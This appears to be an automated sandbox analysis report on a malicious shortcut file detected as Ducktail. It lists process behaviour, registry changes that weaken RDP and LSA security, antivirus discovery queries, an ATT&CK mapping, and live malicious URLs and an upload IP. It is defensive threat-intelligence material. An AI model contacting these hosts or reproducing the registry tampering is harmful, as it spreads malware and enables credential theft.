Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation

Source: C:\Windows\Temp\svczHost.exe

Code function: 20_2_00007FF646DEBFE0 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

20_2_00007FF646DEBFE0

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies security policies related information

Source: C:\Windows\Temp\myRdpService.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa DisableRestrictedAdmin

Source: powershell.exe, 00000003.00000002.4210297506.000001BADAF3A000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4215433956.000001C2DC3A6000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4210297506.000001BADAF44000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4212098566.000001BADAFCB000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4898775134.000001C03B190000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: powershell.exe, 00000003.00000002.4212098566.000001BADAF97000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - Root\SecurityCenter2 : select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - Root\SecurityCenter2 : select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected Ducktail

Source: Yara match	File source: Process Memory Space: svczHost.exe PID: 9124, type: MEMORYSTR
Source: Yara match	File source: amsi64_6280.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3152, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6280, type: MEMORYSTR

Remote Access Functionality

Yara detected Ducktail

Source: Yara match	File source: Process Memory Space: svczHost.exe PID: 9124, type: MEMORYSTR
Source: Yara match	File source: amsi64_6280.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3152, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6280, type: MEMORYSTR

Allows multiple concurrent remote connection

Source: C:\Windows\Temp\myRdpService.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server fSingleSessionPerUser

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	431 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	1 Remote Desktop Protocol	Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	11 Windows Service	11 Windows Service	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	Logon Script (Windows)	11 Process Injection	1 Obfuscated Files or Information	Security Account Manager	126 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	5 PowerShell	Login Hook	Login Hook	1 Software Packing	NTDS	441 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	11 Process Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	351 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	13 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	351 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	11 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
m9c7iq9nzP.lnk	29%	ReversingLabs	Shortcut.Trojan.Pantera
m9c7iq9nzP.lnk	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://cocomethode.de/file2/1bca4c734b4173186ced83141684d6931c1b339cc16a8c5dcf14200f847129d1c5737fab88aed1e524947c7d7da0a49b79eba95c8974ec0965a6388d4670ad3805f9a4db0deeddff6eb926ed1fea3ff5b5bc3eb9f9af6cbd9d19e099214ca2c695d2ebc2eecb14e0349f34ea28f5372e	100%	Avira URL Cloud	malware
http://cocomethode.de	100%	Avira URL Cloud	malware
https://cocomethode.de/StaticFile/TermServiceTryRun/77	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/53b817c6b403fde911a13359ad852a809b72c3a61c9d33030bf0e4130708dbe3ee1fcd85082d15ea7c027b4749aea8867e3e247bd648d250a09153f5a9051f7fcec7ff2ad6088be998d837733babb1d81d0bf712c8881e6fc53dd0663bdd97b4ba27bb02ac3546087195d7a35ff4f222	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bacd29b28e3e20f	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/d46efe1d23678ba9d4ecd017493c103a4e1a37d96d59b89e6acdf96bc49b073190f78c9aa29bce71057a1ce039860e7c69eeb0ef1320f1ed0c8150f1948c2ed6bd2e64238c34031fa4510c3f5cb56f2ddedd92af0607a2d92432a03063f1e11b066993a54f1321da127eb7fbaee23c8f	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae6d8d447eefbc078c119c5da54d097ff	100%	Avira URL Cloud	malware
https://go.microsoft.co	0%	Avira URL Cloud	safe
https://cocomethode.de/StaticFile/RdpService/38	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa	100%	Avira URL Cloud	malware
http://crl.mic	0%	Avira URL Cloud	safe
https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec469631d83b6fb1545c37afc33eb58d196c823652f529529d9c5cc3350ab521dfddbe2a77c01bd1692f0dae16e5e78590d23aa42283bc9f003b0925ef770ce3dbb430044380316b396c72e0dbe931d81c382	100%	Avira URL Cloud	malware
http://wwwft.com/PKI/docs/	0%	Avira URL Cloud	safe
http://pesterbdd.com/images/Pester.png	0%	Avira URL Cloud	safe
https://cocomethode.de/file2/53b817c6b403fde911a13359ad852a809b72c3a61c9d33030bf0e4130708dbe3ee1fcd8	100%	Avira URL Cloud	malware
https://cocomethode.de/file3/873ce3957d5a52b126e489a7be00fe0d36246171918182ebc53aea442d8cc4681e33dcadc494ef7b10813af76bf343da6dd0c11bbafd53f9d40c4534b314e17178a5f9839114b731c4ae608c27f3e23b544cc7edefd58334b3e8215446329673/Windows%20Defender/16/16/user/193	100%	Avira URL Cloud	malware
https://go.micro	0%	Avira URL Cloud	safe
http://crl.ver)	0%	Avira URL Cloud	safe
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bacd29b28e3e20f4420e48c95972afcef6	100%	Avira URL Cloud	malware
http://www.microsoft.cq-	0%	Avira URL Cloud	safe
https://cocomethode.de/file2/b0cdda893b0765c99d30cddae6fd74c48ea8c4a5922a60ed3ef018a1ea2b77873615eb3	100%	Avira URL Cloud	malware
http://www.quovadis.bm0	0%	Avira URL Cloud	safe
http://crl.microsof	0%	Avira URL Cloud	safe
http://crl.microsoft.c	0%	Avira URL Cloud	safe
http://cocomethode.de/api/check	100%	Avira URL Cloud	malware
http://crl.microsofa	0%	Avira URL Cloud	safe
https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec469631d83b6fb1545c37afc33eb58d196c823652f5	100%	Avira URL Cloud	malware
http://schemas.openxml	0%	Avira URL Cloud	safe
http://23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757	0%	Avira URL Cloud	safe
http://pesterbdd.com/images/Pester.pngXz	0%	Avira URL Cloud	safe
http://html4/loose.dtd	0%	Avira URL Cloud	safe
https://cocomethode.de/Zd(	100%	Avira URL Cloud	malware
https://cocomethode.de/file3/873ce3957d5a52b126e489a7be00fe0d36246171918182ebc53aea442d8cc4681e33dca	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/d46efe1d23678ba9d4ecd017493c103a4e1	100%	Avira URL Cloud	malware
https://cocomethode.de	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a80c45020b00110eac9c	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/d46efe1d23678ba9d4ecd017493c103a4e1a37d96d59b89e6acdf96bc49b073190f78c9	100%	Avira URL Cloud	malware
http://schemas.o#	0%	Avira URL Cloud	safe
http://.css	0%	Avira URL Cloud	safe
https://cocomethode.de/Zd	100%	Avira URL Cloud	malware
https://ocsp.quovadisoffshore.com0	0%	Avira URL Cloud	safe
http://23.88.71.29:8000/api/registry	0%	Avira URL Cloud	safe
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae5c01e61a6904	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/1bca4c734b4173186ced83141684d6931c1b339cc16a8c5dcf14200f847129d1c5737fa	100%	Avira URL Cloud	malware
http://.jpg	0%	Avira URL Cloud	safe
https://cocomethode.de/file2/8a84c3609323de6cd9c25a1851d0dcd8a2f3b09776bf8e7d4d6402a6720c1add89a23d5ed12e05cf2f53d7b015e76bd5b82239987c049defb9be7775f0b50e130d8dbede4588a06e0bb0568bc9dc5a959058d1b98732bb8da4c07dbb567f93f3706dd62fd21f5eae172d5026cdd5279f	100%	Avira URL Cloud	malware
http://pesterbdd.com/images/Pester.pngh	0%	Avira URL Cloud	safe
http://23.88.71.29:8000/client/ws	0%	Avira URL Cloud	safe
https://cocomethode.de/file2/8a84c3609323de6cd9c25a1851d0dcd8a2f3b09776bf8e7d4d6402a6720c1add89a23d5	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae6d8d447eefbc	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae5c01e61a69043ec64a29656e39e6e0b	100%	Avira URL Cloud	malware
http://cocomethode.de:443/	100%	Avira URL Cloud	malware
http://crl.m	0%	Avira URL Cloud	safe
https://cocomethode.de/file2/b0c	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cocomethode.de	172.67.128.139	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cocomethode.de/file2/53b817c6b403fde911a13359ad852a809b72c3a61c9d33030bf0e4130708dbe3ee1fcd85082d15ea7c027b4749aea8867e3e247bd648d250a09153f5a9051f7fcec7ff2ad6088be998d837733babb1d81d0bf712c8881e6fc53dd0663bdd97b4ba27bb02ac3546087195d7a35ff4f222	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/d46efe1d23678ba9d4ecd017493c103a4e1a37d96d59b89e6acdf96bc49b073190f78c9aa29bce71057a1ce039860e7c69eeb0ef1320f1ed0c8150f1948c2ed6bd2e64238c34031fa4510c3f5cb56f2ddedd92af0607a2d92432a03063f1e11b066993a54f1321da127eb7fbaee23c8f	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/StaticFile/TermServiceTryRun/77	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/1bca4c734b4173186ced83141684d6931c1b339cc16a8c5dcf14200f847129d1c5737fab88aed1e524947c7d7da0a49b79eba95c8974ec0965a6388d4670ad3805f9a4db0deeddff6eb926ed1fea3ff5b5bc3eb9f9af6cbd9d19e099214ca2c695d2ebc2eecb14e0349f34ea28f5372e	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/StaticFile/RdpService/38	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae6d8d447eefbc078c119c5da54d097ff	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file3/873ce3957d5a52b126e489a7be00fe0d36246171918182ebc53aea442d8cc4681e33dcadc494ef7b10813af76bf343da6dd0c11bbafd53f9d40c4534b314e17178a5f9839114b731c4ae608c27f3e23b544cc7edefd58334b3e8215446329673/Windows%20Defender/16/16/user/193	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec469631d83b6fb1545c37afc33eb58d196c823652f529529d9c5cc3350ab521dfddbe2a77c01bd1692f0dae16e5e78590d23aa42283bc9f003b0925ef770ce3dbb430044380316b396c72e0dbe931d81c382	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bacd29b28e3e20f4420e48c95972afcef6	false	Avira URL Cloud: malware	unknown
http://cocomethode.de/api/check	false	Avira URL Cloud: malware	unknown
http://23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a80c45020b00110eac9c	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/8a84c3609323de6cd9c25a1851d0dcd8a2f3b09776bf8e7d4d6402a6720c1add89a23d5ed12e05cf2f53d7b015e76bd5b82239987c049defb9be7775f0b50e130d8dbede4588a06e0bb0568bc9dc5a959058d1b98732bb8da4c07dbb567f93f3706dd62fd21f5eae172d5026cdd5279f	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/Zd	false	Avira URL Cloud: malware	unknown
http://23.88.71.29:8000/api/registry	false	Avira URL Cloud: safe	unknown
http://23.88.71.29:8000/client/ws	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae5c01e61a69043ec64a29656e39e6e0b	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://go.microsoft.co	powershell.exe, 00000003.00000002.4206777413.000001BADAD0D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bacd29b28e3e20f	powershell.exe, 00000003.00000002.4109159534.000001BAC4630000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4109159534.000001BAC4DA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4109159534.000001BAC4FB8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/02/trustcom	svchost.exe, 00000012.00000002.5366704450.000001B556313000.00000004.00000020.00020000.00000000.sdmp	false		high
http://cocomethode.de	powershell.exe, 00000003.00000002.4109159534.000001BAC4FB8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4000632893.00000279129C3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4347645237.000001C0248E7000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a	powershell.exe, 0000000C.00000002.4347645237.000001C0231BF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/609aafcaa	powershell.exe, 00000003.00000002.4109159534.000001BAC4098000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/53b817c6b403fde911a13359ad852a809b72c3a61c9d33030bf0e4130708dbe3ee1fcd8	powershell.exe, 00000003.00000002.4109159534.000001BAC30A0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4109159534.000001BAC3337000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysidY	powershell.exe, 0000000C.00000002.4814981767.000001C03383E000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5367418387.0000026468346000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5375048755.00007FF64743B000.00000002.00000001.01000000.00000009.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	svchost.exe, 00000012.00000002.5367119107.000001B55636D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysid	svczHost.exe, myRdpService.exe	false		high
https://aka.ms/nativeaot-compatibility	myRdpService.exe	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.3895073118.000001A0E3B81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3895073118.000001A0E3CB8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3880486051.000001A0D4FF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4198168194.000001BAD2D25000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4000632893.0000027913359000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4035721658.0000027921D86000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4814981767.000001C032E27000.00000004.00000800.00020000.00000000.sdmp	false		high
https://account.live.com/InlineSignup.aspx?iww=1&id=80502	svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.3880486051.000001A0D3B01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4109159534.000001BAC2CB1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4000632893.0000027911D11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4347645237.000001C022DB1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4814981767.000001C03383E000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000014.00000002.5367418387.0000026468346000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5375048755.00007FF64743B000.00000002.00000001.01000000.00000009.sdmp, myRdpService.exe	false		high
http://schemas.xmlsoap.org/ws/2005/02/scions	svchost.exe, 00000012.00000002.5366704450.000001B556313000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000007.00000002.4000632893.00000279131E3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4347645237.000001C022FDD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000007.00000002.4000632893.0000027912BDA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4000632893.0000027911F79000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4347645237.000001C02332E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000007.00000002.4000632893.00000279131E3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4347645237.000001C022FDD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://wwwft.com/PKI/docs/	powershell.exe, 00000003.00000002.4212947673.000001BADAFEA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://go.micro	powershell.exe, 00000007.00000002.4000632893.0000027913084000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/MartinKuschnik/WmiLight	svczHost.exe, 00000014.00000002.5367418387.0000026467A48000.00000004.00001000.00020000.00000000.sdmp	false		high
https://account.live.com/Wizard/Password/Change?	svchost.exe, 00000012.00000002.5365566202.000001B555B02000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/nativeaot-compatibilityy	powershell.exe, 0000000C.00000002.4814981767.000001C03383E000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5367418387.0000026468346000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5375048755.00007FF64743B000.00000002.00000001.01000000.00000009.sdmp	false		high
https://account.live.com/msangcwam	svchost.exe, 00000012.00000003.4054818863.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055066251.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055066251.000001B556329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054818863.000001B556329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.mic	powershell.exe, 0000000C.00000002.4911409415.000001C03C1F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 0000000C.00000002.4814981767.000001C032E27000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000012.00000002.5367865972.000001B556A13000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://passport.net/tb	svchost.exe, 00000012.00000002.5364380357.000001B555A7D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364276192.000001B555A5D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cocomethode.de/file2/b0cdda893b0765c99d30cddae6fd74c48ea8c4a5922a60ed3ef018a1ea2b77873615eb3	powershell.exe, 00000003.00000002.4109159534.000001BAC4630000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
